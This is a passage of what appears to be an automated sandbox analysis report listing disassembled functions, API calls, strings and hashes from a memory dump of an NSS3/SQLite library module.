Function 6C7CC6E0 Relevance: 12.1, APIs: 8, Instructions: 149COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,?,?,?,6C7C71CF,?), ref: 6C7CC70F

Part of subcall function 6C7C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C768298,?,?,?,6C75FCE5,?), ref: 6C7C07BF
Part of subcall function 6C7C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7C07E6
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C081B
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C0825

CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C7C71CF,?), ref: 6C7CC7B1

Part of subcall function 6C7695B0: TlsGetValue.KERNEL32(00000000,?,6C7800D2,00000000), ref: 6C7695D2
Part of subcall function 6C7695B0: EnterCriticalSection.KERNEL32(?,?,?,6C7800D2,00000000), ref: 6C7695E7
Part of subcall function 6C7695B0: PR_Unlock.NSS3(?,?,?,?,6C7800D2,00000000), ref: 6C769605

PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6C7C71CF,?), ref: 6C7CC7D5
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C7C71CF,?), ref: 6C7CC811
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C7C71CF,?), ref: 6C7CC841
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7CC855
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6C7C71CF,?), ref: 6C7CC868

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena_CertificateDestroyFree$ErrorHashLookupTable$ConstCriticalEnterFindSectionUnlockValue
String ID:
API String ID: 1768726504-0
Opcode ID: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction ID: e110a5da84314e82641d459085855db4edd17a046fed50630a24295816dfcccb
Opcode Fuzzy Hash: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction Fuzzy Hash: AF417CB5B016038FFB00AE26DAC4B5773E9AF05759B290178DD28DBB52E760F810C792

Function 6C7B2470 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C7B2D7C,6C789192,?), ref: 6C7B248E
EnterCriticalSection.KERNEL32(02B80138), ref: 6C7B24A2
memset.VCRUNTIME140(6C7B2D7C,00000020,6C7B2D5C), ref: 6C7B250E
memset.VCRUNTIME140(6C7B2D9C,00000020,6C7B2D7C), ref: 6C7B2535
memset.VCRUNTIME140(?,00000020,?), ref: 6C7B255C
memset.VCRUNTIME140(?,00000020,?), ref: 6C7B2583
PR_Unlock.NSS3(?), ref: 6C7B2594
PR_SetError.NSS3(00000000,00000000), ref: 6C7B25AF

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memset$Value$CriticalEnterErrorSectionUnlock
String ID:
API String ID: 2972906980-0
Opcode ID: e75bcc20c8fcd07e7bbb651fbb64e9a99a888676ece7d031c0d82ce70e9452d7
Instruction ID: 06713db70727eb06a68987aa61836afea779aa766c345a5cb7d5c707b1a13127
Opcode Fuzzy Hash: e75bcc20c8fcd07e7bbb651fbb64e9a99a888676ece7d031c0d82ce70e9452d7
Instruction Fuzzy Hash: 9541C4B1E012055FEB259F34CE9C7A93774BF59308F140A79EC05EBA52F770AA84C691

Function 6C7B05A0 Relevance: 12.1, APIs: 8, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000), ref: 6C7B05DA

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

TlsGetValue.KERNEL32(00000000), ref: 6C7B060C
EnterCriticalSection.KERNEL32 ref: 6C7B0629
TlsGetValue.KERNEL32(00000000), ref: 6C7B066F
EnterCriticalSection.KERNEL32 ref: 6C7B068C
PR_Unlock.NSS3 ref: 6C7B06AA
PK11_GetNextSafe.NSS3 ref: 6C7B06C3
PR_Unlock.NSS3 ref: 6C7B06F9

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$Alloc_K11_NextSafeUtilmalloc
String ID:
API String ID: 1593870348-0
Opcode ID: b520a2df8f9ce040fcdbd87c44415cf5f59d9306e3a5f99e9794a33adef07a47
Instruction ID: 25709c3daa267e46a991c240cf4478dcfd7bb1b3b716015446e3ea43ec43ef15
Opcode Fuzzy Hash: b520a2df8f9ce040fcdbd87c44415cf5f59d9306e3a5f99e9794a33adef07a47
Instruction Fuzzy Hash: 4D5128B4A057468FDB10DF79C68866AFBF0BF45308F108939D899AB701EB70E494CB91

Function 6C87A6F0 Relevance: 12.1, APIs: 8, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C829890: TlsGetValue.KERNEL32(?,?,?,6C8297EB), ref: 6C82989E

EnterCriticalSection.KERNEL32(?), ref: 6C87A712
_PR_MD_UNLOCK.NSS3(?), ref: 6C87A76D

Part of subcall function 6C8270F0: LeaveCriticalSection.KERNEL32(6C870C7B), ref: 6C82710D

calloc.MOZGLUE(00000001,0000000C), ref: 6C87A779
_PR_CreateThread.NSS3(00000000,6C879EA0,?,00000001,00000001,00000000,?,00000000), ref: 6C87A79B
free.MOZGLUE(00000000), ref: 6C87A7AB
EnterCriticalSection.KERNEL32(?), ref: 6C87A7C5
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C87A7FC
_PR_MD_UNLOCK.NSS3(?), ref: 6C87A824

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$CreateLeaveThreadValuecallocfree
String ID:
API String ID: 3459369588-0
Opcode ID: b2edbf54224801d8cd2ba109fce31c25a44270630604091eaf56748609c7cf2d
Instruction ID: 51897075e991cdbd035cf42056a389ec28d89767b539ef8d50da49417e7ca0a2
Opcode Fuzzy Hash: b2edbf54224801d8cd2ba109fce31c25a44270630604091eaf56748609c7cf2d
Instruction Fuzzy Hash: 04416CB69006019FD730CF29C9849ABB7F8FF45208B148A3AD859C7B11F735E845CBA0

Function 6C7A66B0 Relevance: 12.1, APIs: 8, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000010,00000000), ref: 6C7A66D0
realloc.MOZGLUE(?,?,?,?,?,00000010,00000000), ref: 6C7A66FB

Part of subcall function 6C7C4540: PORT_ZAlloc_Util.NSS3(00000001,?,-00000001,-00000001,?,6C7A6725,?,00000022,?,?,?,?,?,00000010,00000000), ref: 6C7C4581

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C7A673A
memcpy.VCRUNTIME140(00000001,00000000,-00000001,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C7A6757
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C7A676E
memcpy.VCRUNTIME140(6C79C79F,?,?,?,?,?,00000010,00000000), ref: 6C7A6781
memcpy.VCRUNTIME140(00000001,?,-00000001,?,?,?,?,?,?,00000010,00000000), ref: 6C7A679D
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,00000010,00000000), ref: 6C7A67BC

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memcpy$Alloc_ErrorUtilfreereallocstrlen
String ID:
API String ID: 922128022-0
Opcode ID: 711a746419e72eee606428bf619a6abe073cbc80ffed85821a25be692bd4c42b
Instruction ID: 10191f6ddf3fb0f21baff2c4af39291d5721f5c9e91e94dd5cf797d28b703af3
Opcode Fuzzy Hash: 711a746419e72eee606428bf619a6abe073cbc80ffed85821a25be692bd4c42b
Instruction Fuzzy Hash: DD31E872900219AFDB21CFA8DD459EF77B8EF95358B040438E8149B340F732AA19C7E2

Function 6C80A7D0 Relevance: 12.1, APIs: 8, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000002C,00000000,6C7F2AE9,?,6C80A98D,?,?,?,?), ref: 6C80A7D7

Part of subcall function 6C7C0D30: calloc.MOZGLUE ref: 6C7C0D50
Part of subcall function 6C7C0D30: TlsGetValue.KERNEL32 ref: 6C7C0D6D

SECITEM_CopyItem_Util.NSS3(00000000,-00000014,?,0000065C), ref: 6C80A80B

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

PK11_FreeSymKey.NSS3(?,?,?,?,?,?,0000065C), ref: 6C80A82E

Part of subcall function 6C7AADC0: TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE10
Part of subcall function 6C7AADC0: EnterCriticalSection.KERNEL32(?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE24
Part of subcall function 6C7AADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C78D079,00000000,00000001), ref: 6C7AAE5A
Part of subcall function 6C7AADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE6F
Part of subcall function 6C7AADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE7F
Part of subcall function 6C7AADC0: TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEB1
Part of subcall function 6C7AADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEC9

PK11_FreeSymKey.NSS3(?,?,?,?,?,?,0000065C), ref: 6C80A845
SECITEM_ZfreeItem_Util.NSS3(-00000014,00000000,?,?,?,?,?,0000065C), ref: 6C80A857
free.MOZGLUE(00000000,?,?,?,?,?,?,?,0000065C), ref: 6C80A860
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,0000065C), ref: 6C80A81E

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_SetError.NSS3(FFFFE013,00000000,0000065C), ref: 6C80A872

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: UtilValue$Alloc_CriticalEnterErrorFreeItem_K11_Sectionfree$ArenaCopyUnlockZfreecallocmemcpymemset
String ID:
API String ID: 1855126447-0
Opcode ID: adacfa96536be7c3d062bac61f9f74ba3c2ea19bf04c403aff4aa04131a7fcbb
Instruction ID: 0303fde0f898479da0b3c986a762c2af1048633bbab99556b914d71e3cb67e5c
Opcode Fuzzy Hash: adacfa96536be7c3d062bac61f9f74ba3c2ea19bf04c403aff4aa04131a7fcbb
Instruction Fuzzy Hash: E111C1B5B0031157FB209E69ED09F8B7798AB4065CF104938EC1AA7B81E731E40A86A2

Function 6C7565D0 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 261COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C75670B
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6C752B2C), ref: 6C75675E
EnterCriticalSection.KERNEL32(?), ref: 6C75678E
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6C752B2C), ref: 6C7567E1

Strings

winClose, xrefs: 6C7568C5
winUnmapfile1, xrefs: 6C756964
winUnmapfile2, xrefs: 6C75698B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: winClose$winUnmapfile1$winUnmapfile2
API String ID: 3168844106-373099266
Opcode ID: c54de5eba84d5190c3d3976fe06f414a6d65282b0aded4e5f4dc65fe0a29a8ef
Instruction ID: 5d5193ddf6a72504ee3f1523e80983ab6ea739e130275bdbe699cf4801f4f73e
Opcode Fuzzy Hash: c54de5eba84d5190c3d3976fe06f414a6d65282b0aded4e5f4dc65fe0a29a8ef
Instruction Fuzzy Hash: BCA18E75B41210CFDF689F64EA98A293B70FF86719B44007CE8068BB41DF34AA51CBD6

Function 6C6E4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6E4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6E51BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6C6E51DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6E51A5
%s at line %d of [%.10s], xrefs: 6C6E51B4
misuse, xrefs: 6C6E51AF

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 62289487e80a5d46b809d436c3777a87834f7da48f0cd1253cfe371f5456c67a
Instruction ID: 7a9adbca1908e9f7900599ff95a2711a867798efd77523481698c25a66ef8279
Opcode Fuzzy Hash: 62289487e80a5d46b809d436c3777a87834f7da48f0cd1253cfe371f5456c67a
Instruction Fuzzy Hash: A771AC7560920A9FDB00CE69CD80BEA77B5BB8C318F144526FD099BB82D335E854CBA5

Function 6C6FA630 Relevance: 10.7, APIs: 7, Instructions: 192COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,6C8C1308,?,?,6C6F6ABD,00000000), ref: 6C6FA6B7
LeaveCriticalSection.KERNEL32(?), ref: 6C6FA70A
EnterCriticalSection.KERNEL32(?,00000000,6C8C1308,?,?,6C6F6ABD,00000000), ref: 6C6FA73A
LeaveCriticalSection.KERNEL32(?), ref: 6C6FA78D
EnterCriticalSection.KERNEL32(?,00000000,6C8C1308,?,?,6C6F6ABD,00000000), ref: 6C6FA7CA
LeaveCriticalSection.KERNEL32(?), ref: 6C6FA821
sqlite3_free.NSS3(?,00000000,6C8C1308,?,?,6C6F6ABD,00000000), ref: 6C6FA8A6

Part of subcall function 6C6E9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6FC6FD,?,?,?,?,6C74F965,00000000), ref: 6C6E9F0E
Part of subcall function 6C6E9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C74F965,00000000), ref: 6C6E9F5D

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$sqlite3_free
String ID:
API String ID: 1407842778-0
Opcode ID: cf64f3ba6ab7a96ea748813bc6c2960d4082946a42dc4cfdd6d706188388be0a
Instruction ID: c0e36ecf4e8c4f4bf451f6c1dc97d9bc9edf237c73fb5c6ee5a1769dc3e0671c
Opcode Fuzzy Hash: cf64f3ba6ab7a96ea748813bc6c2960d4082946a42dc4cfdd6d706188388be0a
Instruction Fuzzy Hash: A3617075704100CFDB689F24E9D9A6A3776BF8631CB18053DD42647A02CB39E987CBDA

Function 6C752D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C752D69

Strings

winTruncate2, xrefs: 6C752EF8
winSeekFile, xrefs: 6C752E9C
winUnmapfile1, xrefs: 6C752F55
winTruncate1, xrefs: 6C752EBE
winUnmapfile2, xrefs: 6C752F7F

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 85cdb746bc0b754fc6a28312a7d46d8370f925418289e0d97c94f799f6b2986c
Instruction ID: ad847ab2fff542035737b823fc7291bb6804140f92f8bf48536a4fdf0a682996
Opcode Fuzzy Hash: 85cdb746bc0b754fc6a28312a7d46d8370f925418289e0d97c94f799f6b2986c
Instruction Fuzzy Hash: 1261AF71B002049FDB54CF68D988A6A7BB1FF89318F50853CE9199B790DB31A916CBD1

Function 6C768620 Relevance: 10.6, APIs: 7, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

SECITEM_CopyItem_Util.NSS3(00000000,00000000,6C767310,00000000,6C767310,?,?,00000004,?), ref: 6C768684

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

SECITEM_CopyItem_Util.NSS3(00000000,-0000000C,6C767304,?,?,?,00000000,6C767310,?,?,00000004,?), ref: 6C76869F
PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,?,?,?,?,?,00000000,6C767310,?,?,00000004,?), ref: 6C7686D7
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,00000000,6C767310,?,?,00000004,?), ref: 6C768706
PORT_ArenaAlloc_Util.NSS3(00000000,00000018,00000000,6C767310,00000004,00000000,?,6C768A20,00000004,00000000,6C767310,?,?,00000004,?), ref: 6C768656

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000008,00000000,6C767310,00000004,00000000,?,6C768A20,00000004,00000000,6C767310,?,?,00000004,?), ref: 6C768763
PORT_ArenaGrow_Util.NSS3(00000000,6C768A20,?,?,00000000,6C767310,00000004,00000000,?,6C768A20,00000004,00000000,6C767310,?,?,00000004), ref: 6C768795

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyGrow_Item_Value$AllocateCriticalEnterSectionUnlockmemcpy
String ID:
API String ID: 1239214001-0
Opcode ID: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction ID: 82208cc35dab47a0c10ddeb6380ddc97f68a8dba57b38ffacfb81045d26341dd
Opcode Fuzzy Hash: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction Fuzzy Hash: 8541E1B5A00211AFE7008F66CE04B67B7A9EF52358F15423AEC159BB51E731E904CBE2

Function 6C7AAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C7AAB3E,?,?,?), ref: 6C7AAC35

Part of subcall function 6C78CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C78CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C7AAB3E,?,?,?), ref: 6C7AAC55

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

